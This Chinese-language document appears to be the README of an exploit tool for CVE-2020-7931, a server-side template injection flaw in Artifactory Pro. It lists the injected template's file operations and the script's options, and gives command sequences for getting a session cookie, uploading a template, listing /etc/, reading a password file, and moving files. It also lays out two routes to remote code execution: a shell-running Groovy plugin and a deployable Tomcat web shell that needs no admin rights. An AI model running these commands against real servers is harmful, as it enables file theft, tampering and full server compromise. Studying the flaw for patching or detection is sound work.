
CVE-2020-7931 在某种程度上是 Artifactory 中的一种故意错误配置漏洞,攻击者可以利用 FreeMarker 模板 发起服务器端模板注入。
该漏洞由 Atredis 的 Ryan Hanson 发现,并于 2019 年底针对所有受影响版本进行了修复。该漏洞仅适用于 Artifactory 的专业版,因为其他版本不具备模板功能。
模板获取第一个 GET 参数以确定其期望的操作。有效操作如下:
info 返回当前配置的信息
read <文件路径> 按原样读取文件
read_bytes <文件路径> 以整数二进制形式读取文件
list <目录路径> 列出目录内容
create_file <文件路径> 创建空文件
mkdir <目录路径> 创建文件夹
delete <文件路径> 删除文件或空文件夹
move <源路径> <目标路径> 移动文件 (*)
copy <源基路径> <源文件名> <目标> 将文件复制到应用程序的 web 根目录。注意古怪的参数 (**)
(*): move 使用 Java 的 renameTo 方法,该方法在不同文件系统间无法工作。要在不同文件系统间执行移动操作,必须先复制再移动,更多信息如下。
(**): 源路径需要拆分为基路径和文件名;目标路径相对于 Artifactory 的 Web 应用程序根路径,例如 /opt/jfrog/artifactory/tomcat/webapps/artifactory/。
usage: artifactory_CVE-2020-7931.py [-h] -H HOST [-u USER] [-p PASSWORD]
[-c COOKIE] [-U UPLOAD] [-g]
[-d DROP_TEMPLATE] [-e EXEC_TEMPLATE] [-r]
[-R REPOSITORY_NAME]
optional arguments:
-h, --help 显示此帮助信息并退出
-H HOST, --host HOST
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-c COOKIE, --cookie COOKIE
-U UPLOAD, --upload UPLOAD
-g, --get_cookie
-d DROP_TEMPLATE, --drop_template DROP_TEMPLATE
-e EXEC_TEMPLATE, --exec_template EXEC_TEMPLATE
-r, --reload_plugins
-R REPOSITORY_NAME, --repository_name REPOSITORY_NAME
默认值: example-repo-local
export cookie=$(./artifactory_CVE-2020-7931.py -H http://localhost:8081 -g -u admin -p password | grep '-') && echo $cookie
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -U sample.groovy
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -d sample.xml
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml list /etc/
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml read /etc/password
正如我们所看到的,renameTo() 在不同文件系统间无法工作。要模拟此操作,先复制文件再移动(请立即执行,否则 Artifactory 可能会崩溃!):
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml copy /var/opt/jfrog/artifactory/data/tmp/artifactory-uploads/ bla /bla (***)
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml move /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla /etc/bla
(***): 如前所述,这里的 /bla 实际上指向 /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla,因为 root.write() 必然写入当前应用程序的 Web 根目录。
这让你可以利用将工件存储在不同文件系统上的配置(这是一个合理的做法!)。
在默认的 Artifactory 安装中,无法实例化类,因此常规的 freemarker.template.utility.Execute 技巧 将不起作用。
仅通过操作文件系统,有多种方式可以获得远程代码执行:
以下是一个执行 shell 命令的 Groovy 插件示例,更多详细示例请见此处:
def proc = "ls -la /etc".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
插件必须放置在插件路径 /var/opt/jfrog/artifactory/etc/plugins/ 中,并且需要通过调用需要 Artifactory 管理员权限 的 API 来重新加载:
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -r
这里有一个实现 Web Shell 的 Tomcat Servlet。
WAR 文件必须放置在 Tomcat 的 webapps 路径 /opt/jfrog/artifactory/tomcat/webapps/ 下。默认情况下,WAR 文件的部署是自动的,并且会在 Artifactory 实例旁边启动另一个 Web 应用程序,例如在 http://localhost:8081/sample/ 处。
这是首选方法,因为它不需要 Artifactory 管理员权限,而且即时执行命令更加简单。